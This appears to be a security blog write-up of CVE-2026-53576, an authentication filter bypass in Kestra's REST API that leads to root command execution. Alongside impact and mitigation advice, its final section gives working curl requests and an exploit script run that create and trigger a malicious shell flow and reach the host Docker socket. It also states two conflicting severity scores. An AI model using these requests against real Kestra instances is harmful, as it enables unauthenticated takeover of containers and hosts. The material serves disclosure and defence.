CVE-2026-53576 | Kestra ≤ 1.3.20 – Unauthenticated Remote Code Execution via REST API Authentication Filter Bypass

Introduction

This document illustrates an unauthenticated Remote Code Execution (RCE) vulnerability in Kestra, the open-source event-driven workflow orchestration platform distributed as both a self-hosted OSS package and a managed Enterprise SaaS. The flaw lets an anonymous network client bypass the REST API’s Basic-Auth entirely and run arbitrary Operating System (OS) commands as root inside the Kestra worker container. The vulnerability was disclosed publicly on 26 June 2026 and affects every release prior to 1.0.45 and 1.3.21.

Kestra Description

Kestra is an open-source, event-driven orchestration platform for scheduling and monitoring business-critical workflows. Users declare flows declaratively in YAML and Kestra executes them across a distributed architecture of webserver, executor and worker components, with script and Shell tasks running as containerized processes. It is available as self-hosted open-source software and as a managed Enterprise cloud offering, and is widely deployed for data engineering, infrastructure automation and scheduled operations.

Vulnerability Severity

The official ProjectDiscovery Nuclei template classifies the same flaw at 9.8 with the scope-unchanged vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

Scope of Impact

• All Kestra OSS releases prior to 1.0.45 are affected.
• All Kestra OSS releases from 1.1.0 up to and including 1.3.20 are affected.
• The vulnerability is fixed in 1.0.45 and 1.3.21.
• Both server standalone and server local modes ship the vulnerable filter; server local sets the same server type property that activates it.

Where is the vulnerability present?

The vulnerability is present in the REST API authentication filter of the Kestra webserver, webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java, which applies to every route under /api/v1/**. To expose the public instance-configuration endpoint without credentials, the filter uses a suffix-based check: any request whose URL path ends with the literal segment configs is classified as the configuration endpoint and forwarded without a credential check (AuthenticationFilter.java:53 and :62-63 at tag v1.3.20).

The flaw exists because Kestra addresses its resources with URL path segments that the caller chooses – /api/v1/{tenant}/flows/{namespace}, /api/v1/{tenant}/executions/{namespace}/{id} and /api/v1/{tenant}/namespaces/{namespace}/kv/{key}. An anonymous adversary therefore selects the literal string configs as the final path segment of an otherwise sensitive route, and the filter forwards the request to the router with no authentication. Because the check matches the raw path by suffix instead of the resolved route, it reaches the flow-creation handler (FlowController.java:303, @Post(uri = “{namespace}”)) and the execution-trigger handler (ExecutionController.java:716, @Post(uri = “/{namespace}/{id}”)).

A fresh instance returns 401 on all of /api/v1/** until an administrator account is bootstrapped through the setup wizard, so operators reasonably assume the API is gated. This bypass defeats that gate: no account, password, API key or session is required at any point. Combining the two bypassed routes, an unauthenticated attacker submits a flow definition containing a Shell task (io.kestra.plugin.scripts.shell.Commands with taskRunner: io.kestra.plugin.core.runner.Process) whose commands field holds arbitrary shell commands, then triggers the flow; Kestra’s worker executes the commands inside the worker container as uid=0 (root). The official Kestra docker-compose.yml additionally mounts /var/run/docker.sock into the container, so container root can reach the host Docker daemon and pivot to full host-level code execution.

Risk

The immediate capability is unauthenticated, arbitrary command execution as root inside the Kestra worker container. An adversary needs only network reachability to the webserver port (8080 by default) and two HTTP POST requests – one to create a malicious workflow and one to trigger it. Because workflow tasks are first-class platform objects, the attacker can also re-run, schedule or re-trigger the malicious flow at will, giving trivially repeatable and persistent code execution.

Where the official docker-compose deployment is used, the impact extends beyond the container. The mounted Docker socket lets container root issue Docker API calls against the host daemon: the attacker can list and inspect host containers, read mounted secrets, and create new privileged containers that mount the host filesystem, achieving full host compromise. The same deployment exposes an unauthenticated management port by default in development configurations, widening the attack surface.

Confidentiality and integrity impacts include anonymous read of stored namespace KV secrets and flow sources through the same /configs-suffixed paths, and anonymous deletion of flows and KV entries named configs. Availability is fully compromised: workflows orchestrate business-critical pipelines, and root code execution on the worker allows an adversary to destroy data, poison downstream automation, or halt scheduling entirely.

Exploitation is low-complexity, fully automatable and requires no user interaction, which is reflected in the CVSS 3.1 score of 10.0. The closely related Kestra OSS command-injection flaw CVE-2026-49869 – a different vulnerability sharing the same fixed versions – was added to the CISA Known Exploited Vulnerabilities catalog on 2 September 2026, indicating active attacker interest in this platform. Organizations running unpatched, internet-exposed Kestra instances should treat exposed instances as potentially compromised.

Mitigation

• Upgrade to Kestra 1.0.45 or 1.3.21 (or later), which replace the suffix-based path check in AuthenticationFilter – see the vendor advisory GHSA-2q47-568g-9h4f.
• Restrict network access to the Kestra API (port 8080) and never expose it to the public internet; place it behind an authenticated reverse proxy or VPN.
• Remove the /var/run/docker.sock mount from the Kestra container where possible and avoid running the container as root. Note this is a partial mitigation only – it limits host escape but does not fix the authentication bypass or the container-level RCE.
• Keep the management port (8081) unexposed; it is unauthenticated by default and offers sensitive actions.
• As a compensating control, deploy a Web Application Firewall (WAF) rule that blocks unauthenticated POST/PUT/DELETE requests whose URL path ends in /configs. This is partial: the underlying filter flaw remains until the upgrade is applied.
• Monitor access logs for unauthenticated requests to paths ending in /configs, unexpected flows named configs in namespace configs, and unexpected namespace KV keys named configs – strong indicators of exploitation attempts or successful compromise.

Exploit Implementation

 1. Attack Scenario

The exploitation below was validated against an isolated, Docker-based lab running the vulnerable image kestra/kestra:v1.3.20 in server local mode (embedded H2, single container, root user, Docker socket mounted) with the API exposed on http://localhost:8080. The lab is a default installation: no setup wizard was completed and no administrator account exists, matching the “gated” state the filter bypass defeats.

Prerequisites:

• Nuclei with the ProjectDiscovery nuclei-templates repository (for confirmation scan)
• curl (manual exploitation)
• Python 3 with requests (to run the provided exploit.py)

2. Exploitation

1. Confirm the vulnerable target is accessible and the authentication bypass is active.

curl -s -o /dev/null -w “%{http_code}\n” http://localhost:8080/api/v1/main/flows/configs
# 200
curl -s -o /dev/null -w “%{http_code}\n” http://localhost:8080/api/v1/main/flows
# 401

The identical route returns 401 (Basic-Auth enforced) until the literal segment configs is appended as the final path segment, at which point the filter forwards it unauthenticated – the vulnerability in one differential.

2. Run the official Nuclei template to confirm the vulnerability.

cd /Documents/Blogs_CVE/CVE-2026-53576
nuclei -t nuclei-templates/CVE-2026-53576.yaml -u http://localhost:8080 -v

The template is tagged intrusive: it creates a flow named configs in namespace configs carrying a Shell task that curls an out-of-band Interactsh URL, then triggers its execution. The match is confirmed by the out-of-band http/dns callback, proving command execution without authentication.

3. Create a malicious workflow through the authentication bypass.

curl -sv -X POST “http://localhost:8080/api/v1/main/flows/configs” \
  -H “Content-Type: application/x-yaml” \
  –data-binary “
id: configs
namespace: configs
tasks:
  – id: rce
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      – echo CVE-2026-53576-pwned
      – id
      – touch /tmp/pwned
“

The flow-create route is POST /api/v1/{tenant}/flows/{namespace}; the namespace must be configs because it forms the final URL segment the filter matches. The server stores the attacker’s Shell task and returns the created flow (HTTP 200) without credentials.

4. Trigger execution of the malicious workflow through the same bypass.

curl -sv -X POST “http://localhost:8080/api/v1/main/executions/configs/configs?wait=true” \
  -H “Content-Type: multipart/form-data; boundary=—-KestraBoundary” \
  –data-binary “——KestraBoundary–“

The execution-trigger route is POST /api/v1/{tenant}/executions/{namespace}/{id}; the flow id must likewise be configs. Adding ?wait=true makes the server return the final execution synchronously – the response shows the task run reaching SUCCESS with exitCode: 0, meaning the shell commands executed as root inside the container.

5. Verify the RCE proof with the exploit script.

cd Documents/Blogs_CVE/CVE-2026-53576
python3 exploit.py –url http://localhost:8080

The script chains four unauthenticated requests – bypass check, flow creation, synchronous trigger, and a readback through the bypassed namespace-KV route (GET /api/v1/main/namespaces/configs/kv/configs) into which the Shell task pipes its own output from inside the container. The printed uid=0(root) confirms arbitrary command execution as root. The side-effect file created in step 3 is verifiable with docker compose exec kestra ls -la /tmp/pwned.

6. Demonstrate Docker socket escape to the host.

python3 exploit.py –url http://localhost:8080 \
  –cmd “curl -s –unix-socket /var/run/docker.sock http://localhost/version”

The command runs as root inside the Kestra container and reaches the host Docker daemon through the socket mounted by the official docker-compose.yml, returning the host engine version – evidence of host-level reach from a single unauthenticated HTTP chain.